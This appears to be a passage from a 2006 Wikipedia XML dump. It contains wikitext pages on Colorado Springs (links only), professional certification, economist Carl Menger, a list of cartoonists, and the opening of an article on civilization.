* [http://web.archive.org/web/20040829074504/www.antlers.com/indexenter.html The Antlers Hotel/history: where Katherine Lee Bates penned America the Beautiful] (click on &quot;History&quot; on the top left hand corner of index to access page)
* [http://www.springsgov.com/ City of Colorado Springs government site] also at [http://www.ci.colospgs.co.us/]
* [https://www.cheyennemountain.af.mil/ Cheyenne Mountain Operations Center]
* [http://www.carson.army.mil/ Fort Carson]
* [http://www.peterson.af.mil/ Peterson Air Force Base]
* [http://www.schriever.af.mil/ Schriever Air Force Base]
{{Mapit-US-cityscale|38.863443|-104.791914}}
* [http://nationalatlas.gov/fedlands/ak.pdf Federal Lands mapping system]
* [http://history.oldcolo.com/history/genhist/genhist.html#GENHIST Colorado City Historical Society] See especially &quot;early history&quot; and &quot;mining&quot;
* [http://www.cmzoo.org/shrine.html/ Will Rogers Shrine Of The Sun] Read about the Penroses

{{Colorado}}

[[Category:Cities in Colorado]]
[[Category:Colorado Springs, Colorado| ]]
[[Category:El Paso County, Colorado]]

[[de:Colorado Springs]]
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[[ja:コロラド・スプリングス (コロラド州)]]
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[[sv:Colorado Springs]]</text>
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  </page>
  <page>
    <title>Professional certification</title>
    <id>6251</id>
    <revision>
      <id>41636667</id>
      <timestamp>2006-02-28T18:19:50Z</timestamp>
      <contributor>
        <username>Rfrisbie</username>
        <id>896545</id>
      </contributor>
      <minor />
      <comment>/* External links */ added subcat-related topic article to main cat</comment>
      <text xml:space="preserve">A '''professional certification''', '''trade certification''', or '''professional designation''' often called simply '''certification''' or '''qualification''' is a designation earned by a person to certify that he is qualified to perform a job.  Certification indicates that the individual has a specific knowledge, skills, or abilities in the view of the certifying body.   Professional certifications are awarded by [[professional bodies]] and [[corporations]].  The difference between [[licensure]] and certification is licensure is required by law, whereas certification is generally voluntary.  Sometimes the word ''certification'' is used for ''licensure''.

People become certified through training and/or passing an [[exam]].  Individuals often advertise their status by appending the certification abbreviation to their name (e.g. &quot;Jane Doe, RHCE&quot;). Strictly speaking, most certifications do not grant post-nominals and it is usually the professional certifications that do.

Certifications may be perpetual, may need to be renewed periodically, or may be valid for a specific period of time (e.g. the life-time of the product upon which the individual is certified). Although it is more common in regard to licensure, sometimes as part or whole of the renewal of an individual's certification, the individual must show evidence of continual learning &amp;mdash; often termed [[continuing education]] &amp;mdash; or earning [[continuing education unit]]s (CEU).

Certifications are offered through a '''certification body'''. This is usually a business organization, and sometimes a [[professional body]].  Sometimes, the organization's business is directly related to the certification, as in a software firm that certifies individuals as competent to use its products. In other cases, an organization (often a not-for-profit organization) exists wholly, or in large part, to offer a particular certification.  Whatever its nature, the certifying body determines the policies of the '''certification program'''. Potential consumers of a certification wish to understand the nature of the certifying body and the certification process. An individual who bears a designation but appears unable to perform competently is said to be a [[paper tiger]] because their resume suggests that they are more effective than they actually are.

Certifications are very common in [[industry]], and in particular the [[computer]] industry. The [[National Organization for Competency Assurance]] ([[NOCA]]) is a US-based organization which helps certification bodies by providing with information on the latest trends and issues of concern to practitioners and organizations focused on certification, licensure, and human resource development.
Many members of the [[Association of Test Publishers]] (ATP) are certification bodies.



==Certification in the computer industry==
Certification is often used in the professions of [[software engineering]] and [[information technology]]; however, it is a contentious issue.  Some see it as a tool to improve professional practice; others point out that very few traditional engineers bother with any form of certification.

The most successful certification programs are oriented toward specific technologies, and are managed by the vendors of these technologies. These certification programs are tailored to the institutions that would employ people who use these technologies.

* [[Microsoft Corporation]] sponsors the [[Microsoft Certified Professional]] program
* [[Sun Microsystems]] sponsors the [[Sun Certified Professional]] program
* [[IBM]] sponsors certifications [http://www.ibm.com/certify]
* [[Cisco Systems]] sponsors the [[Cisco Career Certifications]] program
* [[Red Hat]] sponsors the [[Red Hat Certification Program]]
* [[Object Management Group]] sponsors the Certified UML Professional program
* [[MySQL]] sponsors a certification program [http://www.mysql.com/certification/]
* [[Novell]] sponsors a certification program
* [[Oracle Corporation]] sponsers the [[Oracle Certification Program]]
* [[Citrix Systems]] sponsors the Citrix Certified Administrator program

Third-party commercial organizations that sponser certifications include:
* [[CompTIA]]
* [[Linux Professional Institute]]
* [[European Computer Driving Licence]] (also called International Computer Driving Licence)
* [[Brainbench]]
* [[SAGE (organization)]] sponsers the cSAGE program

General certification of software practitioners has struggled. The [[Association for Computing Machinery|ACM]] had a professional certification program in the early 1980s, which was discontinued due to lack of interest. Today, the [[Institute of Electrical and Electronics Engineers|IEEE]] is certifying software professionals, but only about 500 people have passed the exam [[As of 2005|by March 2005]].

* The [[IEEE Computer Society]] sponsors the [[Certified Software Development Professional]]
* The [[Institute for the Certification of Computing Professionals]] sponsors the Certified Computing Professional (CCP) and Associate Computing Professional (ACP) certifications

===Information Systems Security Certification===

In an [[information systems]] environment that requires formal security [[Accreditation|accreditation]]. Certification refers to the comprehensive evaluation of the technical and non-technical security features of an information system.
Certification is formally defined by Krutz and Vines as:

''The comprehensive evaluation of the technical and non-technical security features of an information system and the other safeguards, with are created in support of the accreditation proces to establish the extent to which a particular design and implementation meets the set of specified security requirments.''

===Criticisms===
The [[exponential growth]] in the number of computer-related certifications coupled with the relative ease of their acquisition has led to their devaluation in the eyes of many people in the technology field. Exam content is sometimes available on the Internet allowing them to gain certification without knowing or understanding the content. Certifying agencies have responded in various ways.  Some certification tests have incorporated hands-on testing, although there is no evidence that this reduces [[cheating]] or improves [[reliability]] or [[validity]]. Many have explored anti-cheating methodologies or expanded their exam content.  Others have simply raised the price of certification, in a bid to reduce exam resits (and increase the profit margin per head).

==Certifications in the legal profession==
An increasing number of [[lawyer]]s are choosing to be recognized as having special knowledge and experience by becoming certified specialists in certain fields of law. According to the [[American Bar Association]], a lawyer who is a certified specialist has been recognized by an independent professional certifying organization as having an enhanced level of skill and expertise, as well as substantial involvement in an established legal specialty. These organizations require a lawyer to demonstrate special training, experience and knowledge to ensure that the lawyer's recognition as a certified specialist is meaningful and reliable.  Lawyer conduct with regard to specialty certification is regulated by the states.

==Certifications in business==
* [[Better Business Bureau]] and others administer [[Small Business]] Certification
* [[International Charter]]
* [[Chartered Financial Analyst]]

==Other miscellaneous certification programs==
* The [http://www.bjcp.org Certified Beer Judge Program] ([[BJCP]]) has certified over 2000 amateur brewers and beer-lovers, mainly in the United States
* [http://www.bcpe.org Certified Professional Ergonomist] (CPE) and [http://www.bcpe.org Certified Human Factors Professional] (CHFP).
* [[Help Desk Institute]] certifies for the service industry
*Other profesional certifications include pilots licences and professional drivers licences, and other certifications such as [[Medical license]]'s,[[Membership of the Royal College of Physicians]],[[Bachelor of Science in Nursing]], diplomas in [[social work]] and [[probation]] work.

==References==
*Krutz, Ronald L. and Vines, Russell Dean, The CISSP Prep Guide; Gold Edition, Wiley Publishing, Inc., Indianapolis, Indiana, 2003.

==See also==
*[[Product certification]]
*[[European professional qualification directives]]
*[[Nursing board certification]]

==External links==
*[http://www.abanet.org/legalservices/specialization/home.html ABA Standing Committee on Specialization]

[[Category:Standards]]
[[Category:Professional certification| ]]
[[Category:Education]]


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  <page>
    <title>Carl Menger</title>
    <id>6255</id>
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      <id>36706921</id>
      <timestamp>2006-01-25T22:52:34Z</timestamp>
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      </contributor>
      <minor />
      <comment>Bringing &quot;External links&quot;, &quot;See also&quot; and &quot;Reference&quot; sections in line with the [[Wikipedia:Manual of Style|Manual of Style]].</comment>
      <text xml:space="preserve">:''This article is about the economist, not about his son, the mathematician [[Karl Menger]].''

[[Image:Menger.jpg|thumb|right|150px|[[Austrian School]] [[economist]] Carl Menger]]
[[Image:Carl Menger.png|thumb|Carl Menger]]

'''Carl Menger''' ([[February 28]], [[1840]] &amp;ndash; [[February 26]], [[1921]]) was the founder of the [[Austrian School]] of [[economics]].

Menger was born in [[Nowy Sacz]], [[Poland]] (at that time [[Neu Sandec]], [[Austria|Austrian]] [[Galicia (Central Europe)|Galicia]]). He was the son of a wealthy family of minor nobility; his father was a lawyer. After attending ''[[Gymnasium (school)|Gymnasium]]'' he studied law at the Universities of Prague and Vienna and later received a doctorate in jurisprudence from the [[University of Krakow]]. In the 1860s Menger left school and enjoyed a stint as a journalist reporting and analyzing market news, first at the ''Lemberger Zeitung'' in [[Lwów]], [[Ukraine]] and later at the ''Wiener Zeitung'' in [[Vienna]].

During the course of his newspaper work he noticed a discrepancy between what the [[classical economics]] he was taught in school said about [[price|price determination]] and what real world market participants believed. In [[1867]] Menger began a study of [[political economy]] which culminated in 1871 with the publication of his ''[[Principles of Economics]]'' ''(Grundsätze der Volkswirtschaftslehre),'' thus becoming the father of the [[Austrian School]] of economic thought. At the time ''Principles'' was largely ignored, although they were later credited as a contribution to the [[Neoclassical Revolution]].

In [[1872]] Menger was enrolled into the law faculty at the [[University of Vienna]] and spent the next several years teaching finance and political economy both in seminars and lectures to a growing number of students. In [[1873]] he received the university's chair of economic theory at the very young age of 33.  

In [[1876]] Menger began tutoring Archduke [[Crown Prince Rudolf of Austria|Rudolf von Habsburg]], the Crown Prince of [[Austria]] in political economy and statistics. For two years Menger accompanied the prince in his travels, first through Europe and then later through the British Isles. He is also thought to have assisted the crown prince in the composition of a pamphlet, published anonymously in 1878, which was highly critical of the higher Austrian aristocracy. His association with the prince would last until Rudolf's suicide in 1889 (see the [[Mayerling]] Affair). 

In 1878 Rudolf's father, Emperor [[Franz Josef of Austria|Franz Josef]], appointed Menger to the chair of political economy at [[Vienna]]. The title of ''Hofrat'' was conferred on him and was appointed to the Austrian ''Herrenhaus'' in 1900.  

Ensconced in his professorship he set about refining and defending the positions he took and methods he utilized in ''Principles,'' the result of which was the 1883 publication of ''Investigations into the Method of the Social Sciences with Special Reference to Economics.'' The book caused a firestorm of debate, members of the [[Historical School]] of economics began to derisively call Menger and his students the &quot;[[Austrian School]]&quot; to emphasize their departure from mainstream economic thought in [[Germany]]. In 1884 Menger responded with the pamphlet ''The Errors of Historicism in German Economics'' and launched the infamous ''[[Methodenstreit]],'' or methodological debate, between the Historical School and the [[Austrian School]]. During this time Menger began to attract like-minded disciples who would go on to make their own mark on the field of [[economics]], most notably [[Eugen von Böhm-Bawerk]] and [[Friedrich von Wieser]].

In the late 1880s Menger was appointed to head a commission to reform the [[Austria]]n monetary system. Over the course of the next decade he authored a plethora of articles which would revolutionize [[monetary theory]] including ''The Theory of Capital'' (1888) and ''Money'' (1892). Largely due to his pessimism about the state of German scholarship Menger resigned his professorship in 1903 to concentrate on study. 

== See also==
*[[Liberalism in Austria]]

== External links ==
* [http://www.mises.org/content/mengerbio.asp Biography of Carl Menger] The Founder of the Austrian School by Joseph T. Salerno 
* [http://www.econlib.org/library/Enc/bios/Menger.html Biography of Carl Menger] The Concise Encyclopedia of Economics: Library of Economics and Liberty
* [http://cepa.newschool.edu/het/profiles/menger.htm Profile on Carl Menger] at the History of Economic Thought Website
* [http://www.mises.org/etexts/menger/principles.asp Principles of Economics], online version provided by the [[Ludwig von Mises Institute]].
* [http://mason.gmu.edu/~tlidderd/menger/ Abridged version of Principles of Economics, with comments by Tancred Lidderdale]



[[Category:1840 births|Menger, Carl]]
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  <page>
    <title>List of cartoonists</title>
    <id>6256</id>
    <revision>
      <id>41934426</id>
      <timestamp>2006-03-02T18:58:10Z</timestamp>
      <contributor>
        <username>Thomas Blomberg</username>
        <id>407237</id>
      </contributor>
      <comment>/* Notable cartoonists */Clean-up: Removed promotional redlinks and web addresses</comment>
      <text xml:space="preserve">:''See also [[list of comic strips]].''

==Notable cartoonists==

Notable [[cartoonists]] include:

* [[Pete Abrams]], ''[[Sluggy Freelance]]''
* [[Charles Addams]], macabre cartoons featured in ''[[The New Yorker]]'' and elsewhere
* [[Murray Ball]], ''[[Footrot Flats]]''
* [[Darrin Bell]], ''[[Candorville]]'' and ''[[Rudy Park]]''
* [[Oscar Berger]], ''Aesop's Foibles (1947)''; active 1920s - 1960s
* [[Ed Brubaker]]
* [[Max Cannon]], ''Red Meat''  Contemporary American
* [[Chester Commodore]], [[African American]] [[political cartoon]]ist
* [[Robert Crumb]], ''Mr. Natural'', ''Fritz the Cat'', ''Keep on Truckin''
* [[Jack Davis (cartoonist)|Jack Davis]]
* [[Will Eisner]], ''[[The Spirit]]''
* [[Lyonel Feininger]], rare fine artist who did strips, ''[[Kin-der Kids]]'' and ''[[Wee Willie Winkie's World]]''
* [[Steve Fiorilla]]
* [[André François]]
* [[André Franquin]], ''[[Spirou]]'', ''[[Gaston Lagaffe ]]''
* [[Yuliy Ganf|Yuliy Abramovich Ganf]], Soviet Russian
* [[Brian Giovannini]], ''[[Postage Due]]''
* [[John Glashan]], [[Genius (cartoon)|Genius]]
* [[Rube Goldberg]], Cartoons of complex and convoluted machines doing very simple tasks.
* [[Larry Gonick]], ''[[The Cartoon History of the Universe]] series, [[Kokopelli &amp; Company]]''
* [[René Goscinny]], ''[[Asterix]]''
* [[Doug Davis]], ''[Just One of Those Days,and Small World]]''
* [[Matt Groening]], ''[[Life in Hell]]'', ''[[The Simpsons]]'', ''[[Futurama (animated series)|Futurama]]''
* [[Martin Handford]], ''[[Where's Wally?]]''
* [[Hergé]], ''[[Tintin]]''
* [[George Herriman]], ''[[Krazy Kat]]''
* [[Bill Holbrook]], &quot;[[On The FasTrack]]&quot;, &quot;[[Save Havens]]&quot; and &quot;[[Kevin &amp; Kell]]&quot;
* [[Edgar Pierre Jacobs|Edgar P. Jacobs]], &quot;[[Blake and Mortimer]]&quot;
* [[Mike Judge]], &quot;[[Beavis and Butt-Head]]&quot;, &quot;[[King Of The Hill]]&quot;
* [[Heinrich Kley]]
* [[B. Kliban]]
* [[Gary Larson]], ''[[Far Side]]''.
* [[Rick Law]], [[Beyond the Veil]]
* [[John Leech]], 19th century 'Punch' cartoonist.
* [[Michael Leunig]], Australian
* [[R K Laxman]], Cartoonist for [[The Times of India]], [[India]].
* [[Loriot]]
* [[Scott McCloud]], ''[[Zot]]'', ''[[Understanding Comics]]''
* [[Seth MacFarlane]], ''[[Family Guy]]&quot;, ''[[American Dad]]''
* [[Shigeru Mizuki]], ''[[Ge Ge Ge no Kitaro]]'',  - Master of horror of Japanese [[manga]]
* [[Morris (comics)|Morris]], ''[[Lucky Luke]]''
* [[Paul Palnik]], ''[[The God of Cartoons]] American Jewish cartoon prophet.
* [[Virgil Partch]], known as &quot;VIP,&quot; he was a leading US gag cartoonist of the '50s and 60s
* [[Bob Penuelas]], ''[[Wilbur Kookmeyer]]''
* [[Peyo]], ''[[the Smurfs]]'', ''Benoit Brisefer'', ''Johan et Pirlouit'' 
* [[Hugo Pratt]], ''[[Corto Maltese]]''
* [[Quino]] (Joaquín Salvador Lavado), ''[[Mafalda]]'' - Often regarded as the foremost Latin-American cartoonist, and a fierce social satirist.
* [[Heath Robinson|W. Heath Robinson]], British satirist famous for drawings of convoluted machines, similar to Rube Goldberg
* [[Jonathan Rosenberg]], ''[[Goats (comic)|Goats]]''
* [[Ronald Searle]], St Trinians, Molesworth, ''[[The Rake's Progress]]'', editorial work and more
* [[Elzie Crisler Segar]], ''[[Popeye]]''
* [[Jean-Jacques Sempé|Sempé]]
* [[Dan Shive]], ''[[El Goonish Shive]]''
* [[Posy Simmonds]], ''The Silent Three of St Botolph's'', ''Gemma Bovery''
* [[Siné]]
* [[Ralph Steadman]], editorial cartoonist and book illustrator
* [[Uli Stein]], ''Mice''
* [[Saul Steinberg]]
* [[Howard Tayler]], pioneered web-cartooning as a profession.
* [[Osamu Tezuka]], ''[[Astroboy]]'', ''[[Phoenix (manga)|Phoenix]]'' - Known as the &quot;god&quot; of Japanese [[manga]], who practically defined modern Japanese cartooning
* [[Ben Wicks]], well known Canadian cartoonist and illustrator. Strips include ''The Outsider'', ''Wicks''

===Animated cartoonists===
* [[Ralph Bakshi]]
* [[Tex Avery]]
* [[Art Babbitt]]
* [[Frederic Back]]
* [[Joseph Barbera]]
* [[Don Bluth]]
* [[Brett Bower]], Australian
* [[Tim Burton]]
* [[Les Clark]]
* [[Bob Clampett]]
* [[Gabor Csupo]]
* [[Shamus Culhane]]
* [[Arthur Davis]]
* [[Marc Davis]]
* [[Gene Deitch]]
* [[Andreas Deja]]
* [[Walt Disney]]
* [[Norm Ferguson]]
* [[Friz Freleng]]
* [[Eric Goldberg]]
* [[Dave Hand]]
* [[William Hanna]]
* [[Rudolf Ising]]
* [[Wilfred Jackson]]
* [[Ollie Johnston]]
* [[Chuck Jones]]
* [[Milt Kahl]]
* [[Glen Keane]]
* [[Ward Kimball]]
* [[John Kricfalusi]]
* [[Kutty]]
* [[John Lasseter]]
* [[Eric Larson]]
* [[John Lounsbery]]
* [[Ham Luske]]
* [[Robert McKimson]]
* [[Joe Murray]]
* [[Fred Moore]]
* [[Grim Natwick]]
* [[Bill Plympton]]
* [[Wolfgang Reitherman|Wolfgang &quot;Woolie&quot; Reitherman]]
* [[Herbert &quot;Herbie&quot; Ryman]]
* [[Ben Sharpsteen]]
* [[Tom Sito]]
* [[Frank Tashlin]]
* [[Frank Thomas]]
* [[Bill Tytla]]
* [[Richard Williams]]

===Cartoonists of comic strips===
* [[Scott Adams]], ''[[Dilbert]]''
* [[Bill Amend]], ''[[Fox Trot]]''
* [[George Baker (cartoonist)|George Baker]], ''[[Sad Sack]]''
* [[Darrin Bell]], ''[[Candorville]]'', ''[[Rudy Park]]''
* [[Berke Breathed]], ''[[Bloom County]]'' ([[1980]]'s American social-polticial), ''[[Outland (comic)|Outland]]'', ''[[Opus (comic strip)|Opus]]''
* [[David Breger]], ''[[G.I. Joe]]''
* [[Dik Browne]], ''[[Hi and Lois]]'', ''[[Hagar the Horrible]]''
* [[Ernie Bushmiller]], ''[[Nancy (comic strip)|Nancy]]''
*[[Milton Caniff|Milt Caniff]], ''[[Terry and the Pirates (comics)|Terry and the Pirates]]'', ''[[Steve Canyon]]''
* [[Al Capp]], ''[[Lil Abner]]''
* [[Stan Cross]], ''[[The Potts]]'' and ''[[Wally and the Major]]''
* [[Jim Davis (cartoonist)|Jim Davis]], ''[[Garfield]]''
* [[Bud Fisher]], ''[[Mutt and Jeff]]''
* [[Ham Fisher]], ''[[Joe Palooka]]''
* [[Chester Gould]], ''[[Dick Tracy]]''
* [[Bill Griffith]], ''[[Zippy the Pinhead]]''
* [[Tove Jansson|Tove]] and [[Lars Jansson]], ''[[Moomin|The Moomins]]''
* [[Lynn Johnston]], ''[[For Better or For Worse]]''
* [[Eric Jolliffe]], ''[[Andy]]''
* [[Hank Ketcham]], ''[[Dennis the Menace]]''
* [[Walt Kelly]], ''[[Pogo]]''
* [[Kemsley]], ''[[Ginger Meggs]]''
* [[Frank King]], ''[[Gasoline Alley]]''
* [[Keith Knight]], ''[[The K Kronicles]]''
* [[Fred Lasswell]], ''[[Barney Google]]''
* [[Raymond Macherot]], ''[[Harold Clifton|Colonel Clifton]]''
* [[Winsor McCay]], ''[[Little Nemo]]''
* [[Patrick McDonnell]], ''[[Mutts]]''
* [[George McManus]], ''[[Bringing up Father]]''
* [[Dale Messick]], ''[[Brenda Starr]]''
* [[Steve Nease]], ''[[Pud]]''
* [[Fred Negro]], ''Pub Strip''
* [[Charles Peattie]] and [[Russell Taylor]], ''Alex''
* [[Stan Pitt]], ''[[Larry Flynn, Detective]]''
* [[Quino]]. ''[[Mafalda]]''
* [[Charles M. Schulz]], ''[[Peanuts]]''
* [[Jeff Shesol]], ''[[Thatch (comic strip)]]''
* [[Caroll Spinney]], ''[[Harvey (comic)|Harvey]]''
* [[Garry Trudeau]], ''[[Doonesbury]]''
* [[Gustave Verbeek]], ''The Upside Downs'', ''The Terrors of the Tiny Tads''
* [[Bill Watterson]], ''[[Calvin and Hobbes]]''
* [[Monty Wedd]], ''[[The Scorpion]]'', ''[[Bert and Ned]]'', ''[[Tod Trail]]'', ''[[Kirk Raven]]'', ''[[Ned Kelly]]'', ''[[Sword and Sabre]]'', ''[[Captain Justice]]'', ''[[Ben Hall]]'' and ''[[The Making of a Nation]]''
* [[Jeff Wilson (cartoonist)|Jeff Wilson]], ''[[The Avridge Farm]]''
* [[J.D. Frazer]], ''[[User Friendly]]''

=== Cartoonists of single panel cartoons (gag cartoons) ===
* [[Doug Davis]]
* [[Charles Addams]]
* [[Ivan Brunetti]]
* [[Irwin Caplan]]
* [[Patrick Chappatte]] (Chappatte)
* [[Dick Cavalli]]
* [[Roz Chast]]
* [[Chon Day]]
* [[John Dempsey]]
* [[Mort Drucker]]
* [[Dave Gerard]]
* [[Carl Giles]] (Giles)
* [[Grea]]
* [[Bill Harrison]]
* [[Ray Helle]]
* [[Tom Henderson]]
* [[Ned Hilton]]
* [[Judy Horacek]]
* [[Stan Hunt]]
* [[Al Johns]]
* [[Jeff Keate]]
* [[Hank Ketcham]]
* [[Ted Key]]
* [[Bill King]]
* [[Nick D. Kim]] (Nick)
* [[Gary Larson]]
* [[Mel Lazarus]]
* [[Bill O'Malley]]
* [[Frank Owen]]
* [[Larry Reynolds]]
* [[Salo]]
* [[Vahan Shirvanian]]
* [[Chris Slane]]
* [[Ton Smits]]
* [[Syverson]]
* [[James Thurber]]
* [[Don Tobin]]
* [[Walt Wetterberg]]
* [[Herb Williams]]
* [[Gahan Wilson]]
* [[George Wolfe (cartoonist)|George Wolfe]]
* [[Kevin Woodcock]]
* [[Zero (cartoonist)|Zero]]

===Political cartoonists===
* [[Naji al-Ali]], Palestinian cartoonist assassinated in 1987
* [[Dean Alston]], Australian
* [[Darrin Bell]], American political cartoonist and comic strip cartoonist
* [[Steve Bell (cartoonist)|Steve Bell]], contemporary British political cartoonist
* [[Ruben Bolling]], ''[[Tom the Dancing Bug]]'' Contemporary American political
* [[Rafael Bordalo Pinheiro|Bordalo Pinheiro, Rafael]] - (1846-1905), Portuguese, creator of ''Zé Povinho''
* [[Chico Caruso]], Brazilian
* [[Paul Conrad]], political cartoons
* [[Cook, Patrick (1949- )]], Australian 
* [[Stan Cross]], Australian
* [[Jay Norwood Darling]], [[editorial cartoon]]ist (two time [[Pulitzer Prize]] winner), also designed the first [[Federal Duck Stamp]]
* [[David Ditchburn]], Australian 
* [[Andy Donato]], Canadian political cartoonist, works for the [Sun] newspaper chain.
* [[Mark Fiore]], American political cartoonist
* Theodore Geisel ([[Dr. Seuss]]), Was a political and advertising cartoonist before and during World War II before becoming a children's author
* [[Herblock]], full name Herbert Block, longtime American cartoonist for the [[Washington Post]], 3 times [[Pulitzer Prize]] winner
* [[William Hogarth]], [[18th century]] British political cartoonist
* [[Horner, Arthur (b. 1916) ]] - Australian political cartoonist
* [[Bill Leak]] - Australian 
* [[Michael Leunig]] - Australian
* [[Predrag Koraksic Corax]], contemporary Serbian political cartoonist.
* [[David Low]], political cartoonist in Britain between the World Wars, characters included [[Colonel Blimp]].
* [[Bill Mauldin]], [[Pulitzer Prize]] winner, gained fame as &quot;soldiers' cartoonist&quot; in [[World War II|World War 2]] with his &quot;dogfaces&quot; ''[[Willie and Joe]]''
* [[McCrae, Stewart (1919- )]] - Australian political cartoonist
* [[Moir, Alan Charles (1945- )]] - Australian political cartoonist
* [[Molnar, George (1910-1998)]] - Australian political cartoonist
* [[Terry Mosher|Aislin]], cartoonist for the ''[[Montreal Gazette]]''
* [[Thomas Nast]], first drew Republican elephant and Democratic donkey, [[Tammany Hall]] tiger, set the pattern for the modern [[Santa Claus]]
* [[Steve Nease]], Metroland newspaper chain
* [[Peter Nicholson]] (1946- ) - Australian political cartoonist
* [[Pat Oliphant]], [[Pulitzer Prize]] winner, longtime contemporary American cartoonist originally from Australia
* [[Ward O'Neill]], Australian
* [[Paul Palnik]] American, Jewish, Kabbalistic Spiritual Cartoons.
* [[Bruce Petty]], Australian
* [[Matthew Pritchett|Matt Pritchett]], (''Matt'') single panel political cartoons in the British [[Daily Telegraph]]
* [[Pryor, Geoff (1944- )]] - Australian 
* [[Ted Rall]], contemporary American political cartoonist.
* [[Dan Russell]]
* [[Jim Russell]]
* [[Spooner, John (1946- )]] - Australian 
* [[Tom Tomorrow]], ''[[This Modern World]]'' Contemporary American political cartoonist
* Vicky, full name [[Victor Weisz]] (1913-66) British Socialist cartoonist, born in Berlin, of Hungarian Jewish extraction. Originated Supermac sobriquet applied to [[Harold Macmillan]].
* [[William Ellis Green]] - Australian 
* [[Cathy Wilcox]] - Australian political cartoonist and illustrator
* [[J. Winburn]] - American satirical cartoonist of alternative humor &amp; social commentary
* [[Paco Calderón]] Mexican

===Cartoonists of comic books===
* [[Ben Caldwell]], famous creator of the Dare Detectives.
* [[Sergio Aragones]], ''[[MAD Magazine|MAD]]'', also the creator of GROO.
* [[Kim Deitch]] creator of Waldo The Cat and comic novels
* [[Bill Elder]], ''[[MAD Magazine|MAD]]'' comics, ''[[Little Annie Fanny]]'' in ''Playboy''
* [[Dan DeCarlo]], ''[[Archie Comics|Archie]]'', ''[[Josie and the Pussycats (comic)|Josie and the Pussycats]]'', ''[[Sabrina the Teenage Witch]]''
* [[Harvey Kurtzman]], first editor of ''[[MAD Magazine|MAD]]'', one of the most influential comic artists of all time
* [[Pran Kumar Sharma]], ''[[Chacha Chaudhary]]''
* [[Wally Wood]], ''[[MAD Magazine|MAD]]'', both comics and magazine
* [[Jhonen Vasquez]], Johnny the Homicidal Maniac, Squee!, I Feel Sick, Everything can be Beaten, Fillerbunny, Bad art Collection, Happy Noodle Boy

====Cartoonists of action/superhero comic books====
* [[Jack Cole (artist)|Jack Cole]], creator of [[Plastic Man]], later set the style for cartoons in ''[[Playboy Magazine]]''
* [[Steve Ditko]], creator of many [[Marvel Comics]], including [[Spider-Man]] and [[Doctor Strange]] with editor [[Stan Lee]]
* [[Will Eisner]], creator of [[The Spirit]], teacher, publisher, one of the first to popularize the term ''[[graphic novel]]'', in his book ''A Contract with God''
* [[Bob Kane]], creator of [[Batman|The Batman]] with writer [[Bill Finger]]
* [[Jack Kirby]], creator of [[Captain America]] with his partner [[Joe Simon]], many other comics through the years
* [[Jeff Smith (cartoonist)|Jeff Smith]], creator of Bone
* [[Frank Miller]], creator of Sin City
* [[Raymond Mullikin]], creator of Quackup
* [[Paul Palnik]], creator of The God of Cartoons
* [[Alan Davis]], creator of ClanDestine
* [[Kyle Baker]], creator of Why I Hate Saturn
* [[Mike Mignola]], creator of Hellboy
* [[Elito V. Circa]], Pantabangan Folk Artist
* [[Lipe Dias]], creator of Amigos da Net

==See also==
* [[Illustrator|list of illustrators]]
* [[mangaka]] (list of japanese cartoonists)


[[Category:Animation]]
[[Category:Lists of people by occupation|Cartoonists]]
[[Category:Cartoonists|*List of cartoonists]]

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  <page>
    <title>Civilization</title>
    <id>6258</id>
    <revision>
      <id>42047464</id>
      <timestamp>2006-03-03T12:54:57Z</timestamp>
      <contributor>
        <username>Lemuel Gulliver</username>
        <id>253646</id>
      </contributor>
      <comment>civis = citizen</comment>
      <text xml:space="preserve">{{otheruses}}

The word '''civilization''' (or '''civilisation''') has a variety of meanings related to human [[society]]. The word &quot;civilization&quot; comes to us from the Latin where the word for townsman or citizen, ''civis'', and its adjectival form, ''civilis''.  To be civilized essentially meant you were a townsman, governed by the constitution and legal statutes of that community. [[Roman]] [[Civil Law]] was gathered together into a consolidated body of the “[[Code Civil]]” in the [[6th Century]] for [[Emperor Justinian]] ([[483]]-[[565]] CE).  Justinian's code was rediscovered and used by law professors at the first [[University]] established in Western Europe, at [[Bologna]] in the [[11th century]], when learning returned to Western Europe after a long absence through the Dark Ages.  From [[1388]] the word “civil” appeared in English, whilst “civilization” as a “law which makes a criminal process civil”, appeared in [[1704]], closely followed in [[1722]] with “civilization” meaning the opposite of “barbarity” coming probably from the French language at about that time.

[[Image:Mexico.Mex.Teotihuacan.PyramidMoon.01.jpg|thumb|right|250px|The Pyramid of the Moon in [[Teotihuacan]], Mexico. Building projects of this size require the social organization found in civilizations.]][[Image:Machu-Picchu.jpg|thumbnail|250px|right|The ruins of [[Machu Picchu]], &quot;the Lost City of the Incas,&quot; has become the most recognizable symbol of the [[Inca]] civilization.]]

==Senses of the word==
===Literal and technical definitions===
By the most minimal, literal definition, a ''civilization'' is a [[complex society|complex]] [[society]]. Technically, [[anthropologists]] distinguish civilizations in which many of the people live in [[city|cities]] and get their food from [[agriculture]], from [[band society|band]] and [[tribe|tribal]] societies in which people live in small settlements or nomadic groups and [[subsistence| subsist]] by foraging, hunting, or working small [[horticulture|horticultural]] gardens. When used in this sense, civilization is an exclusive term, applied to some human groups and not others.

===Broader sense===
In a broader sense, ''civilization'' often can refer to any distinct society, whether complex and city dwelling, or simple and tribal. This sense is often perceived as less exclusive and ethnocentric than the first. In this sense, civilization is nearly synonymous with [[culture]].

===Human society as a whole===
&quot;Civilization&quot; can sometimes refer to human society as a whole, as in &quot;A nuclear war would wipe out Civilization&quot; or &quot;I'm glad to be safely back in Civilization after being lost in the wilderness for 3 weeks&quot;. Additionally, it is used in this sense to refer to the potential [[global civilization]].

===A standard of behavior===
Civilization can also mean the standard of behavior, similar to [[etiquette]]. &quot;Civilized&quot; behavior is contrasted with &quot;barbaric&quot; or crude behavior. In this sense, civilization implies sophistication and refinement.

===Superior vs. less complex societies===
Another use of ''civilization'' combines the first and fourth meanings of the word, implying that a complex society is naturally superior to less complex societies. This point of view has been used to justify [[racism]] and [[imperialism]]; powerful societies have often believed it was their right to &quot;civilize,&quot; or culturally dominate, weaker ones (&quot;[[barbarian]]s&quot;). (The colonization or 'civilizing' of non-Western peoples was sometimes called the &quot;[[White Man's Burden]]&quot; when engaged in by Modern Europeans.)

This article will mainly treat civilizations in the first, narrow, sense. See [[culture]], [[society]], [[etiquette]], and [[ethnocentrism]] and for topics related to the broader senses of the term. See also [[Civilization#Problems with the term &quot;civilization&quot;|Problems with the term]].

===As a way of characterizing human cultures===
[[Morton Fried]], the conflict theorist, and [[Elman Service]], the integration theorist, have produced a system of classification for all human cultures and societies that on the basis of the evolution of social inequality range from 

* [[hunter-gatherer]] [[bands]], that are generally [[egalitarian]], through 
